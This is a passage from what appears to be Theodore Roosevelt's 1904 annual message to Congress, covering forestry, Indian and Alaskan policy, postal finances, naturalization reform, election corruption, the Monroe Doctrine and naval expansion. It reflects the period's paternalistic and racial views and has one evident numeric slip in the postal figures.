not\nconcentrated under one department, in consonance with the plainest\ndictates of good administration and common sense. The present\narrangement is bad from every point of view. Merely to mention it is to\nprove that it should be terminated at once. As I have repeatedly\nrecommended, all the forest work of the Government should be\nconcentrated in the Department of Agriculture, where the larger part of\nthat work is already done, where practically all of the trained\nforesters of the Government are employed, where chiefly in Washington\nthere is comprehensive first-class knowledge of the problems of the\nreserves acquired on the ground, where all problems relating to growth\nfrom the soil are already gathered, and where all the sciences\nauxiliary to forestry are at hand for prompt and effective\nco-operation. These reasons are decisive in themselves, but it should\nbe added that the great organizations of citizens whose interests are\naffected by the forest-reserves, such as the National Live Stock\nAssociation, the National Wool Growers' Association, the American\nMining Congress, the national Irrigation Congress, and the National\nBoard of Trade, have uniformly, emphatically, and most of them\nrepeatedly, expressed themselves in favor of placing all Government\nforest work in the Department of Agriculture because of the peculiar\nadaptation of that Department for it. It is true, also, that the forest\nservices of nearly all the great nations of the world are under the\nrespective departments of agriculture, while in but two of the smaller\nnations and in one colony are they under the department of the\ninterior. This is the result of long and varied experience and it\nagrees fully with the requirements of good administration in our own\ncase.The creation of a forest service in the Department of Agriculture will\nhave for its important results:First. A better handling of all forest work; because it will be under a\nsingle head, and because the vast and indispensable experience of the\nDepartment in all matters pertaining to the forest reserves, to\nforestry in general, and to other forms of production from the soil,\nwill be easily and rapidly accessible.Second. The reserves themselves, being handled from the point of view\nof the man in the field, instead of the man in the office, will be more\neasily and more widely useful to the people of the West than has been\nthe case hitherto.Third. Within a comparatively short time the reserves will become\nself-supporting. This is important, because continually and rapidly\nincreasing appropriations will be necessary for the proper care of this\nexceedingly important interest of the Nation, and they can and should\nhe offset by returns from the National forests. Under similar\ncircumstances the forest possessions of other great nations form an\nimportant source of revenue to their governments.Every administrative officer concerned is convinced of the necessity\nfor the proposed consolidation of forest work in the Department of\nAgriculture, and I myself have urged it more than once in former\nmessages. Again I commend it to the early and favorable consideration\nof the Congress. The interests of the Nation at large and of the West\nin particular have suffered greatly because of the delay.I call the attention of the Congress again to the report and\nrecommendation of the Commission on the Public Lands forwarded by me to\nthe second session of the present Congress. The Commission has\nprosecuted its investigations actively during the past season, and a\nsecond report is now in an advanced stage of preparation.In connection with the work of the forest reserves I desire again to\nurge upon the Congress the importance of authorizing the President to\nset aside certain portions of these reserves or other public lands as\ngame refuges for the preservation of the bison, the wapiti, and other\nlarge beasts once so abundant in our woods and mountains and on our\ngreat plains, and now tending toward extinction. Every support should\nbe given to the authorities of the Yellowstone Park in their successful\nefforts at preserving the large creatures therein; and at very little\nexpense portions of the public domain in other regions which are wholly\nunsuited to agricultural settlement could be similarly utilized. We owe\nit to future generations to keep alive the noble and beautiful\ncreatures which by their presence add such distinctive character to the\nAmerican wilderness. The limits of the Yellowstone Park should be\nextended southwards. The Canyon of the Colorado should be made a\nnational park; and the national-park system should include the Yosemite\nand as many as possible of the groves of giant trees in California.The veterans of the Civil War have a claim upon the Nation such as no\nother body of our citizens possess. The Pension Bureau has never in its\nhistory been managed in a more satisfactory manner than is now the\ncase.The progress of the Indians toward civilization, though not rapid, is\nperhaps all that could be hoped for in view of the circumstances.\nWithin the past year many tribes have shown, in a degree greater than\never before, an appreciation of the necessity of work. This changed\nattitude is in part due to the policy recently pursued of reducing the\namount of subsistence to the Indians, and thus forcing them, through\nsheer necessity, to work for a livelihood. The policy, though severe,\nis a useful one, but it is to be exercised only with judgment and with\na full understanding of the conditions which exist in each community\nfor which it is intended. On or near the Indian reservations there is\nusually very little demand for labor, and if the Indians are to earn\ntheir living and when work can not be furnished from outside (which is\nalways preferable), then it must be furnished by the Government.\nPractical instruction of this kind would in a few years result in the\nforming of habits of regular industry, which would render the Indian a\nproducer and would effect a great reduction in the cost of his\nmaintenance.It is commonly declared that the slow advance of the Indians is due to\nthe unsatisfactory character of the men appointed to take immediate\ncharge of them, and to some extent this is true. While the standard of\nthe employees in the Indian Service shows great improvement over that\nof bygone years, and while actual corruption or flagrant dishonesty is\nnow the rare exception, it is nevertheless the fact that the salaries\npaid Indian agents are not large enough to attract the best men to that\nfield of work. To achieve satisfactory results the official in charge\nof an Indian tribe should possess the high qualifications which are\nrequired in the manager of a large business, but only in exceptional\ncases is it possible to secure men of such a type for these positions.\nMuch better service, however, might be obtained from those now holding\nthe places were it practicable to get out of them the best that is in\nthem, and this should be done by bringing them constantly into closer\ntouch with their superior officers. An agent who has been content to\ndraw his salary, giving in return the least possible equivalent in\neffort and service, may, by proper treatment, by suggestion and\nencouragement, or persistent urging, be stimulated to greater effort\nand induced to take a more active personal interest in his work.Under existing conditions an Indian agent in the distant West may be\nwholly out of touch with the office of the Indian Bureau. He may very\nwell feel that no one takes a personal interest in him or his efforts.\nCertain routine duties in the way of reports and accounts are required\nof him, but there is no one with whom he may intelligently consult on\nmatters vital to his work, except after long delay. Such a man would be\ngreatly encouraged and aided by personal contact with some one whose\ninterest in Indian affairs and whose authority in the Indian Bureau\nwere greater than his own, and such contact would be certain to arouse\nand constantly increase the interest he takes in his work.The distance which separates the agents--the workers in the field--from\nthe Indian Office in Washington is a chief obstacle to Indian progress.\nWhatever shall more closely unite these two branches of the Indian\nService, and shall enable them to co-operate more heartily and more\neffectively, will be for the increased efficiency of the work and the\nbetterment of the race for whose improvement the Indian Bureau was\nestablished. The appointment of a field assistant to the Commissioner\nof Indian Affairs would be certain to insure this good end. Such an\nofficial, if possessed of the requisite energy and deep interest in the\nwork, would be a most efficient factor in bringing into closer\nrelationship and a more direct union of effort the Bureau in Washington\nand its agents in the field; and with the co-operation of its branches\nthus secured the Indian Bureau would, in measure fuller than ever\nbefore, lift up the savage toward that self-help and self-reliance\nwhich constitute the man.In 1907 there will be held at Hampton Roads the tricentennial\ncelebration of the settlement at Jamestown, Virginia, with which the\nhistory of what has now become the United States really begins. I\ncommend this to your favorable consideration. It is an event of prime\nhistoric significance, in which all the people of the United States\nshould feel, and should show, great and general interest.In the Post-Office Department the service has increased in efficiency,\nand conditions as to revenue and expenditure continue satisfactory. The\nincrease of revenue during the year was $9,358,181.10, or 6.9 per cent,\nthe total receipts amounting to $143,382,624.34. The expenditures were\n$152,362,116.70, an increase of about 9 per cent over the previous\nyear, being thus $8,979,492.36 in excess of the current revenue.\nIncluded in these expenditures was a total appropriation of\n$152,956,637.35 for the continuation and extension of the rural\nfree-delivery service, which was an increase of $4,902,237.35 over the\namount expended for this purpose in the preceding fiscal year. Large as\nthis expenditure has been the beneficent results attained in extending\nthe free distribution of mails to the residents of rural districts have\njustified the wisdom of the outlay. Statistics brought down to the 1st\nof October, 1904, show that on that date there were 27,138 rural routes\nestablished, serving approximately 12,000,000 of people in rural\ndistricts remote from post-offices, and that there were pending at that\ntime 3,859 petitions for the establishment of new rural routes.\nUnquestionably some part of the general increase in receipts is due to\nthe increased postal facilities which the rural service has afforded.\nThe revenues have also been aided greatly by amendments in the\nclassification of mail matter, and the curtailment of abuses of the\nsecond-class mailing privilege. The average increase in the volume of\nmail matter for the period beginning with 1902 and ending June, 1905\n(that portion for 1905 being estimated), is 40.47 per cent, as compared\nwith 25.46 per cent for the period immediately preceding, and 15.92 for\nthe four-year period immediately preceding that.Our consular system needs improvement. Salaries should be substituted\nfor fees, and the proper classification, grading, and transfer of\nconsular officers should be provided. I am not prepared to say that a\ncompetitive system of examinations for appointment would work well; but\nby law it should be provided that consuls should be familiar, according\nto places for which they apply, with the French, German, or Spanish\nlanguages, and should possess acquaintance with the resources of the\nUnited States.The collection of objects of art contemplated in section 5586 of the\nRevised Statutes should be designated and established as a National\nGallery of Art; and the Smithsonian Institution should be authorized to\naccept any additions to said collection that may be received by gift,\nbequest, or devise.It is desirable to enact a proper National quarantine law. It is most\nundesirable that a State should on its own initiative enforce\nquarantine regulations which are in effect a restriction upon\ninterstate and international commerce. The question should properly be\nassumed by the Government alone. The Surgeon-General of the National\nPublic Health and Marine-Hospital Service has repeatedly and\nconvincingly set forth the need for such legislation.I call your attention to the great extravagance in printing and binding\nGovernment publications, and especially to the fact that altogether too\nmany of these publications are printed. There is a constant tendency to\nincrease their number and their volume. It is an understatement to say\nthat no appreciable harm would be caused by, and substantial benefit\nwould accrue from, decreasing the amount of printing now done by at\nleast one-half. Probably the great majority of the Government reports\nand the like now printed are never read at all, and furthermore the\nprinting of much of the material contained in many of the remaining\nones serves no useful purpose whatever.The attention of the Congress should be especially given to the\ncurrency question, and that the standing committees on the matter in\nthe two Houses charged with the duty, take up the matter of our\ncurrency and see whether it is not possible to secure an agreement in\nthe business world for bettering the system; the committees should\nconsider the question of the retirement of the greenbacks and the\nproblem of securing in our currency such elasticity as is consistent\nwith safety. Every silver dollar should be made by law redeemable in\ngold at the option of the holder.I especially commend to your immediate attention the encouragement of\nour merchant marine by appropriate legislation.The growing importance of the Orient as a field for American exports\ndrew from my predecessor, President McKinley, an urgent request for its\nspecial consideration by the Congress. In his message of 1898 he\nstated:\"In this relation, as showing the peculiar volume and value of our\ntrade with China and the peculiarly favorable conditions which exist\nfor their expansion in the normal course of trade, I refer to the\ncommunication addressed to the Speaker of the House of Representatives\nby the Secretary of the Treasury on the 14th of last June, with its\naccompanying letter of the Secretary of State, recommending an\nappropriation for a commission to study the industrial and commercial\nconditions in the Chinese Empire and to report as to the opportunities\nfor and the obstacles to the enlargement of markets in China for the\nraw products and manufactures of the United States. Action was not\ntaken thereon during the last session. I cordially urge that the\nrecommendation receive at your hands the consideration which its\nimportance and timeliness merit.\"In his annual message of 1889 he again called attention to this\nrecommendation, quoting it, and stated further:\"I now renew this recommendation, as the importance of the subject has\nsteadily grown since it was first submitted to you, and no time should\nbe lost in studying for ourselves the resources of this great field for\nAmerican trade and enterprise.\"The importance of securing proper information and data with a view to\nthe enlargement of our trade with Asia is undiminished. Our consular\nrepresentatives in China have strongly urged a place for permanent\ndisplay of American products in some prominent trade center of that\nEmpire, under Government control and management, as an effective means\nof advancing our export trade therein. I call the attention of the\nCongress to the desirability of carrying out these suggestions.In dealing with the questions of immigration and naturalization it is\nindispensable to keep certain facts ever before the minds of those who\nshare in enacting the laws. First and foremost, let us remember that\nthe question of being a good American has nothing whatever to do with a\nman's birthplace any more than it has to do with his creed. In every\ngeneration from the time this Government was founded men of foreign\nbirth have stood in the very foremost rank of good citizenship, and\nthat not merely in one but in every field of American activity; while\nto try to draw a distinction between the man whose parents came to this\ncountry and the man whose ancestors came to it several generations back\nis a mere absurdity. Good Americanism is a matter of heart, of\nconscience, of lofty aspiration, of sound common sense, but not of\nbirthplace or of creed. The medal of honor, the highest prize to be won\nby those who serve in the Army and the Navy of the United States\ndecorates men born here, and it also decorates men born in Great\nBritain and Ireland, in Germany, in Scandinavia, in France, and\ndoubtless in other countries also. In the field of statesmanship, in\nthe field of business, in the field of philanthropic endeavor, it is\nequally true that among the men of whom we are most proud as Americans\nno distinction whatever can be drawn between those who themselves or\nwhose parents came over in sailing ship or steamer from across the\nwater and those whose ancestors stepped ashore into the wooded\nwilderness at Plymouth or at the mouth of the Hudson, the Delaware, or\nthe James nearly three centuries ago. No fellow-citizen of ours is\nentitled to any peculiar regard because of the way in which he worships\nhis Maker, or because of the birthplace of himself or his parents, nor\nshould he be in any way discriminated against therefor. Each must stand\non his worth as a man and each is entitled to be judged solely thereby.There is no danger of having too many immigrants of the right kind. It\nmakes no difference from what country they come. If they are sound in\nbody and in mind, and, above all, if they are of good character, so\nthat we can rest assured that their children and grandchildren will be\nworthy fellow-citizens of our children and grandchildren, then we\nshould welcome them with cordial hospitality.But the citizenship of this country should not be debased. It is vital\nthat we should keep high the standard of well-being among our\nwage-workers, and therefore we should not admit masses of men whose\nstandards of living and whose personal customs and habits are such that\nthey tend to lower the level of the American wage-worker; and above all\nwe should not admit any man of an unworthy type, any man concerning\nwhom we can say that he will himself be a bad citizen, or that his\nchildren and grandchildren will detract from instead of adding to the\nsum of the good citizenship of the country. Similarly we should take\nthe greatest care about naturalization. Fraudulent naturalization, the\nnaturalization of improper persons, is a curse to our Government; and\nit is the affair of every honest voter, wherever born, to see that no\nfraudulent voting is allowed, that no fraud in connection with\nnaturalization is permitted.In the past year the cases of false, fraudulent, and improper\nnaturalization of aliens coming to the attention of the executive\nbranches of the Government have increased to an alarming degree.\nExtensive sales of forged certificates of naturalization have been\ndiscovered, as well as many cases of naturalization secured by perjury\nand fraud; and in addition, instances have accumulated showing that\nmany courts issue certificates of naturalization carelessly and upon\ninsufficient evidence.Under the Constitution it is in the power of the Congress \"to establish\na uniform rule of naturalization,\" and numerous laws have from time to\ntime been enacted for that purpose, which have been supplemented in a\nfew States by State laws having special application. The Federal\nstatutes permit naturalization by any court of record in the United\nStates having common-law jurisdiction and a seal and clerk, except the\npolice court of the District of Columbia, and nearly all these courts\nexercise this important function. It results that where so many courts\nof such varying grades have jurisdiction, there is lack of uniformity\nin the rules applied in conferring naturalization. Some courts are\nstrict and others lax. An alien who may secure naturalization in one\nplace might be denied it in another, and the intent of the\nconstitutional provision is in fact defeated. Furthermore, the\ncertificates of naturalization issued by the courts differ widely in\nwording and appearance, and when they are brought into use in foreign\ncountries, are frequently subject to suspicion.There should be a comprehensive revision of the naturalization laws.\nThe courts having power to naturalize should be definitely named by\nnational authority; the testimony upon which naturalization may be\nconferred should be definitely prescribed; publication of impending\nnaturalization applications should be required in advance of their\nhearing in court; the form and wording of all certificates issued\nshould be uniform throughout the country, and the courts should be\nrequired to make returns to the Secretary of State at stated periods of\nall naturalizations conferred.Not only are the laws relating to naturalization now defective, but\nthose relating to citizenship of the United States ought also to be\nmade the subject of scientific inquiry with a view to probable further\nlegislation. By what acts expatriation may be assumed to have been\naccomplished, how long an American citizen may reside abroad and\nreceive the protection of our passport, whether any degree of\nprotection should be extended to one who has made the declaration of\nintention to become a citizen of the United States but has not secured\nnaturalization, are questions of serious import, involving personal\nrights and often producing friction between this Government and foreign\ngovernments. Yet upon these question our laws are silent. I recommend\nthat an examination be made into the subjects of citizenship,\nexpatriation, and protection of Americans abroad, with a view to\nappropriate legislation.The power of the Government to protect the integrity of the elections\nof its own officials is inherent and has been recognized and affirmed\nby repeated declarations of the Supreme Court. There is no enemy of\nfree government more dangerous and none so insidious as the corruption\nof the electorate. No one defends or excuses corruption, and it would\nseem to follow that none would oppose vigorous measures to eradicate\nit. I recommend the enactment of a law directed against bribery and\ncorruption in Federal elections. The details of such a law may be\nsafely left to the wise discretion of the Congress, but it should go as\nfar as under the Constitution it is possible to go, and should include\nsevere penalties against him who gives or receives a bribe intended to\ninfluence his act or opinion as an elector; and provisions for the\npublication not only of the expenditures for nominations and elections\nof all candidates but also of all contributions received and\nexpenditures made by political committees.No subject is better worthy the attention of the Congress than that\nportion of the report of the Attorney-General dealing with the long\ndelays and the great obstruction to justice experienced in the cases of\nBeavers, Green and Gaynor, and Benson. Were these isolated and special\ncases, I should not call your attention to them; but the difficulties\nencountered as regards these men who have been indicted for criminal\npractices are not exceptional; they are precisely similar in kind to\nwhat occurs again and again in the case of criminals who have\nsufficient means to enable them to take advantage of a system of\nprocedure which has grown up in the Federal courts and which amounts in\neffect to making the law easy of enforcement against the man who has no\nmoney, and difficult of enforcement, even to the point of sometimes\nsecuring immunity, as regards the man who has money. In criminal cases\nthe writ of the United States should run throughout its borders. The\nwheels of justice should not be clogged, as they have been clogged in\nthe cases above mentioned, where it has proved absolutely impossible to\nbring the accused to the place appointed by the Constitution for his\ntrial. Of recent years there has been grave and increasing complaint of\nthe difficulty of bringing to justice those criminals whose\ncriminality, instead of being against one person in the Republic, is\nagainst all persons in the Republic, because it is against the Republic\nitself. Under any circumstance and from the very nature of the case it\nis often exceedingly difficult to secure proper punishment of those who\nhave been guilty of wrongdoing against the Government. By the time the\noffender can be brought into court the popular wrath against him has\ngenerally subsided; and there is in most instances very slight danger\nindeed of any prejudice existing in the minds of the jury against him.\nAt present the interests of the innocent man are amply safeguarded; but\nthe interests of the Government, that is, the interests of honest\nadministration, that is the interests of the people, are not recognized\nas they should be. No subject better warrants the attention of the\nCongress. Indeed, no subject better warrants the attention of the bench\nand the bar throughout the United States.Alaska, like all our Territorial acquisitions, has proved resourceful\nbeyond the expectations of those who made the purchase. It has become\nthe home of many hardy, industrious, and thrifty American citizens.\nTowns of a permanent character have been built. The extent of its\nwealth in minerals, timber, fisheries, and agriculture, while great, is\nprobably not comprehended yet in any just measure by our people. We do\nknow, however, that from a very small beginning its products have grown\nuntil they are a steady and material contribution to the wealth of the\nnation. Owing to the immensity of Alaska and its location in the far\nnorth, it is a difficult matter to provide many things essential to its\ngrowth and to the happiness and comfort of its people by private\nenterprise alone. It should, therefore, receive reasonable aid from the\nGovernment. The Government has already done excellent work for Alaska\nin laying cables and building telegraph lines. This work has been done\nin the most economical and efficient way by the Signal Corps of the\nArmy.In some respects it has outgrown its present laws, while in others\nthose laws have been found to be inadequate. In order to obtain\ninformation upon which I could rely I caused an official of the\nDepartment of Justice, in whose judgment I have confidence, to visit\nAlaska during the past summer for the purpose of ascertaining how\ngovernment is administered there and what legislation is actually\nneeded at present. A statement of the conditions found to exist,\ntogether with some recommendations and the reasons therefor, in which I\nstrongly concur, will be found in the annual report of the\nAttorney-General. In some instances I feel that the legislation\nsuggested is so imperatively needed that I am moved briefly to\nemphasize the Attorney-General's proposals.Under the Code of Alaska as it now stands many purely administrative\npowers and duties, including by far the most important, devolve upon\nthe district judges or upon the clerks of the district court acting\nunder the direction of the judges, while the governor, upon whom these\npowers and duties should logically fall, has nothing specific to do\nexcept to make annual reports, issue Thanksgiving Day proclamations,\nand appoint Indian policemen and notaries public. I believe it\nessential to good government in Alaska, and therefore recommend, that\nthe Congress divest the district judges and the clerks of their courts\nof the administrative or executive functions that they now exercise and\ncast them upon the governor. This would not be an innovation; it would\nsimply conform the government of Alaska to fundamental principles,\nmaking the governorship a real instead of a merely nominal office, and\nleaving the judges free to give their entire attention to their\njudicial duties and at the same time removing them from a great deal of\nthe strife that now embarrasses the judicial office in Alaska.I also recommend that the salaries of the district judges and district\nattorneys in Alaska be increased so as to make them equal to those\nreceived by corresponding officers in the United States after deducting\nthe difference in the cost of living; that the district attorneys\nshould be prohibited from engaging in private practice; that United\nStates commissioners be appointed by the governor of the Territory\ninstead of by the district judges, and that a fixed salary be provided\nfor them to take the place of the discredited \"fee system,\" which\nshould be abolished in all offices; that a mounted constabulary be\ncreated to police the territory outside the limits of incorporated\ntowns--a vast section now wholly without police protection; and that\nsome provision be made to at least lessen the oppressive delays and\ncosts that now attend the prosecution of appeals from the district\ncourt of Alaska. There should be a division of the existing judicial\ndistricts, and an increase in the number of judges.Alaska should have a Delegate in the Congress. Where possible, the\nCongress should aid in the construction of needed wagon roads.\nAdditional light-houses should be provided. In my judgment, it is\nespecially important to aid in such manner as seems just and feasible\nin the construction of a trunk line of railway to connect the Gulf of\nAlaska with the Yukon River through American territory. This would be\nmost beneficial to the development of the resources of the Territory,\nand to the comfort and welfare of its people.Salmon hatcheries should be established in many different streams, so\nas to secure the preservation of this valuable food fish. Salmon\nfisheries and canneries should be prohibited on certain of the rivers\nwhere the mass of those Indians dwell who live almost exclusively on\nfish.The Alaskan natives are kindly, intelligent, anxious to learn, and\nwilling to work. Those who have come under the influence of\ncivilization, even for a limited period, have proved their capability\nof becoming self-supporting, self-respecting citizens, and ask only for\nthe just enforcement of law and intelligent instruction and\nsupervision. Others, living in more remote regions, primitive, simple\nhunters and fisher folk, who know only the life of the woods and the\nwaters, are daily being confronted with twentieth-century civilization\nwith all of its complexities. Their country is being overrun by\nstrangers, the game slaughtered and driven away, the streams depleted\nof fish, and hitherto unknown and fatal diseases brought to them, all\nof which combine to produce a state of abject poverty and want which\nmust result in their extinction. Action in their interest is demanded\nby every consideration of justice and humanity.The needs of these people are:The abolition of the present fee system, whereby the native is\ndegraded, imposed upon, and taught the injustice of law.The establishment of hospitals at central points, so that contagious\ndiseases that are brought to them continually by incoming whites may be\nlocalized and not allowed to become epidemic, to spread death and\ndestitution over great areas.The development of the educational system in the form of practical\ntraining in such industries as will assure the Indians self-support\nunder the changed conditions in which they will have to live.The duties of the office of the governor should be extended to include\nthe supervision of Indian affairs, with necessary assistants in\ndifferent districts. He should be provided with the means and the power\nto protect and advise the native people, to furnish medical treatment\nin time of epidemics, and to extend material relief in periods of\nfamine and extreme destitution.The Alaskan natives should be given the right to acquire, hold, and\ndispose of property upon the same conditions as given other\ninhabitants; and the privilege of citizenship should be given to such\nas may be able to meet certain definite requirements. In Hawaii\nCongress should give the governor power to remove all the officials\nappointed under him. The harbor of Honolulu should be dredged. The\nMarine-Hospital Service should be empowered to study leprosy in the\nislands. I ask special consideration for the report and recommendation\nof the governor of Porto Rico.In treating of our foreign policy and of the attitude that this great\nNation should assume in the world at large, it is absolutely necessary\nto consider the Army and the Navy, and the Congress, through which the\nthought of the Nation finds its expression, should keep ever vividly in\nmind the fundamental fact that it is impossible to treat our foreign\npolicy, whether this policy takes shape in the effort to secure justice\nfor others or justice for ourselves, save as conditioned upon the\nattitude we are willing to take toward our Army, and especially toward\nour Navy. It is not merely unwise, it is contemptible, for a nation, as\nfor an individual, to use high-sounding language to proclaim its\npurposes, or to take positions which are ridiculous if unsupported by\npotential force, and then to refuse to provide this force. If there is\nno intention of providing and of keeping the force necessary to back up\na strong attitude, then it is far better not to assume such an\nattitude.The steady aim of this Nation, as of all enlightened nations, should be\nto strive to bring ever nearer the day when there shall prevail\nthroughout the world the peace of justice. There are kinds of peace\nwhich are highly undesirable, which are in the long run as destructive\nas any war. Tyrants and oppressors have many times made a wilderness\nand called it peace. Many times peoples who were slothful or timid or\nshortsighted, who had been enervated by ease or by luxury, or misled by\nfalse teachings, have shrunk in unmanly fashion from doing duty that\nwas stern and that needed self-sacrifice, and have sought to hide from\ntheir own minds their shortcomings, their ignoble motives, by calling\nthem love of peace. The peace of tyrannous terror, the peace of craven\nweakness, the peace of injustice, all these should be shunned as we\nshun unrighteous war. The goal to set before us as a nation, the goal\nwhich should be set before all mankind, is the attainment of the peace\nof justice, of the peace which comes when each nation is not merely\nsafe-guarded in its own rights, but scrupulously recognizes and\nperforms its duty toward others. Generally peace tells for\nrighteousness; but if there is conflict between the two, then our\nfealty is due-first to the cause of righteousness. Unrighteous wars are\ncommon, and unrighteous peace is rare; but both should be shunned. The\nright of freedom and the responsibility for the exercise of that right\ncan not be divorced. One of our great poets has well and finely said\nthat freedom is not a gift that tarries long in the hands of cowards.\nNeither does it tarry long in the hands of those too slothful, too\ndishonest, or too unintelligent to exercise it. The eternal vigilance\nwhich is the price of liberty must be exercised, sometimes to guard\nagainst outside foes; although of course far more often to guard\nagainst our own selfish or thoughtless shortcomings.If these self-evident truths are kept before us, and only if they are\nso kept before us, we shall have a clear idea of what our foreign\npolicy in its larger aspects should be. It is our duty to remember that\na nation has no more right to do injustice to another nation, strong or\nweak, than an individual has to do injustice to another individual;\nthat the same moral law applies in one case as in the other. But we\nmust also remember that it is as much the duty of the Nation to guard\nits own rights and its own interests as it is the duty of the\nindividual so to do. Within the Nation the individual has now delegated\nthis right to the State, that is, to the representative of all the\nindividuals, and it is a maxim of the law that for every wrong there is\na remedy. But in international law we have not advanced by any means as\nfar as we have advanced in municipal law. There is as yet no judicial\nway of enforcing a right in international law. When one nation wrongs\nanother or wrongs many others, there is no tribunal before which the\nwrongdoer can be brought. Either it is necessary supinely to acquiesce\nin the wrong, and thus put a premium upon brutality and aggression, or\nelse it is necessary for the aggrieved nation valiantly to stand up for\nits rights. Until some method is devised by which there shall be a\ndegree of international control over offending nations, it would be a\nwicked thing for the most civilized powers, for those with most sense\nof international obligations and with keenest and most generous\nappreciation of the difference between right and wrong, to disarm. If\nthe great civilized nations of the present day should completely\ndisarm, the result would mean an immediate recrudescence of barbarism\nin one form or another. Under any circumstances a sufficient armament\nwould have to be kept up to serve the purposes of international police;\nand until international cohesion and the sense of international duties\nand rights are far more advanced than at present, a nation desirous\nboth of securing respect for itself and of doing good to others must\nhave a force adequate for the work which it feels is allotted to it as\nits part of the general world duty. Therefore it follows that a\nself-respecting, just, and far-seeing nation should on the one hand\nendeavor by every means to aid in the development of the various\nmovements which tend to provide substitutes for war, which tend to\nrender nations in their actions toward one another, and indeed toward\ntheir own peoples, more responsive to the general sentiment of humane\nand civilized mankind; and on the other hand that it should keep\nprepared, while scrupulously avoiding wrongdoing itself, to repel any\nwrong, and in exceptional cases to take action which in a more advanced\nstage of international relations would come under the head of the\nexercise of the international police. A great free people owes it to\nitself and to all mankind not to sink into helplessness before the\npowers of evil.We are in every way endeavoring to help on, with cordial good will,\nevery movement which will tend to bring us into more friendly relations\nwith the rest of mankind. In pursuance of this policy I shall shortly\nlay before the Senate treaties of arbitration with all powers which are\nwilling to enter into these treaties with us. It is not possible at\nthis period of the world's development to agree to arbitrate all\nmatters, but there are many matters of possible difference between us\nand other nations which can be thus arbitrated. Furthermore, at the\nrequest of the Interparliamentary Union, an eminent body composed of\npractical statesmen from all countries, I have asked the Powers to join\nwith this Government in a second Hague conference, at which it is hoped\nthat the work already so happily begun at The Hague may be carried some\nsteps further toward completion. This carries out the desire expressed\nby the first Hague conference itself.It is not true that the United States feels any land hunger or\nentertains any projects as regards the other nations of the Western\nHemisphere save such as are for their welfare. All that this country\ndesires is to see the neighboring countries stable, orderly, and\nprosperous. Any country whose people conduct themselves well can count\nupon our hearty friendship. If a nation shows that it knows how to act\nwith reasonable efficiency and decency in social and political matters,\nif it keeps order and pays its obligations, it need fear no\ninterference from the United States. Chronic wrongdoing, or an\nimpotence which results in a general loosening of the ties of civilized\nsociety, may in America, as elsewhere, ultimately require intervention\nby some civilized nation, and in the Western Hemisphere the adherence\nof the United States to the Monroe Doctrine may force the United\nStates, however reluctantly, in flagrant cases of such wrongdoing or\nimpotence, to the exercise of an international police power. If every\ncountry washed by the Caribbean Sea would show the progress in stable\nand just civilization which with the aid of the Platt amendment Cuba\nhas shown since our troops left the island, and which so many of the\nrepublics in both Americas are constantly and brilliantly showing, all\nquestion of interference by this Nation with their affairs would be at\nan end. Our interests and those of our southern neighbors are in\nreality identical. They have great natural riches, and if within their\nborders the reign of law and justice obtains, prosperity is sure to\ncome to them. While they thus obey the primary laws of civilized\nsociety they may rest assured that they will be treated by us in a\nspirit of cordial and helpful sympathy. We would interfere with them\nonly in the last resort, and then only if it became evident that their\ninability or unwillingness to do justice at home and abroad had\nviolated the rights of the United States or had invited foreign\naggression to the detriment of the entire body of American nations. It\nis a mere truism to say that every nation, whether in America or\nanywhere else, which desires to maintain its freedom, its independence,\nmust ultimately realize that the right of such independence can not be\nseparated from the responsibility of making good use of it.In asserting the Monroe Doctrine, in taking such steps as we have taken\nin regard to Cuba, Venezuela, and Panama, and in endeavoring to\ncircumscribe the theater of war in the Far East, and to secure the open\ndoor in China, we have acted in our own interest as well as in the\ninterest of humanity at large. There are, however, cases in which,\nwhile our own interests are not greatly involved, strong appeal is made\nto our sympathies. Ordinarily it is very much wiser and more useful for\nus to concern ourselves with striving for our own moral and material\nbetterment here at home than to concern ourselves with trying to better\nthe condition of things in other nations. We have plenty of sins of our\nown to war against, and under ordinary circumstances we can do more for\nthe general uplifting of humanity by striving with heart and soul to\nput a stop to civic corruption, to brutal lawlessness and violent race\nprejudices here at home than by passing resolutions about wrongdoing\nelsewhere. Nevertheless there are occasional crimes committed on so\nvast a scale and of such peculiar horror as to make us doubt whether it\nis not our manifest duty to endeavor at least to show our disapproval\nof the deed and our sympathy with those who have suffered by it. The\ncases must be extreme in which such a course is justifiable. There must\nbe no effort made to remove the mote from our brother's eye if we\nrefuse to remove the beam from our own. But in extreme cases action may\nbe justifiable and proper. What form the action shall take must depend\nupon the circumstances of the case; that is, upon the degree of the\natrocity and upon our power to remedy it. The cases in which we could\ninterfere by force of arms as we interfered to put a stop to\nintolerable conditions in Cuba are necessarily very few. Yet it is not\nto be expected that a people like ours, which in spite of certain very\nobvious shortcomings, nevertheless as a whole shows by its consistent\npractice its belief in the principles of civil and religious liberty\nand of orderly freedom, a people among whom even the worst crime, like\nthe crime of lynching, is never more than sporadic, so that individuals\nand not classes are molested in their fundamental rights--it is\ninevitable that such a nation should desire eagerly to give expression\nto its horror on an occasion like that of the massacre of the Jews in\nKishenef, or when it witnesses such systematic and long-extended\ncruelty and oppression as the cruelty and oppression of which the\nArmenians have been the victims, and which have won for them the\nindignant pity of the civilized world.Even where it is not possible to secure in other nations the observance\nof the principles which we accept as axiomatic, it is necessary for us\nfirmly to insist upon the rights of our own citizens without regard to\ntheir creed or race; without regard to whether they were born here or\nborn abroad. It has proved very difficult to secure from Russia the\nright for our Jewish fellow-citizens to receive passports and travel\nthrough Russian territory. Such conduct is not only unjust and\nirritating toward us, but it is difficult to see its wisdom from\nRussia's standpoint. No conceivable good is accomplished by it. If an\nAmerican Jew or an American Christian misbehaves himself in Russia he\ncan at once be driven out; but the ordinary American Jew, like the\nordinary American Christian, would behave just about as he behaves\nhere, that is, behave as any good citizen ought to behave; and where\nthis is the case it is a wrong against which we are entitled to protest\nto refuse him his passport without regard to his conduct and character,\nmerely on racial and religious grounds. In Turkey our difficulties\narise less from the way in which our citizens are sometimes treated\nthan from the indignation inevitably excited in seeing such fearful\nmisrule as has been witnessed both in Armenia and Macedonia.The strong arm of the Government in enforcing respect for its just\nrights in international matters is the Navy of the United States. I\nmost earnestly recommend that there be no halt in the work of\nupbuilding the American Navy. There is no more patriotic duty before us\na people than to keep the Navy adequate to the needs of this country's\nposition. We have undertaken to build the Isthmian Canal. We have\nundertaken to secure for ourselves our just share in the trade of the\nOrient. We have undertaken to protect our citizens from proper\ntreatment in foreign lands. We continue steadily to insist on the\napplication of the Monroe Doctrine to the Western Hemisphere. Unless\nour attitude in these and all similar matters is to be a mere boastful\nsham we can not afford to abandon our naval programme. Our voice is now\npotent for peace, and is so potent because we are not afraid of war.\nBut our protestations 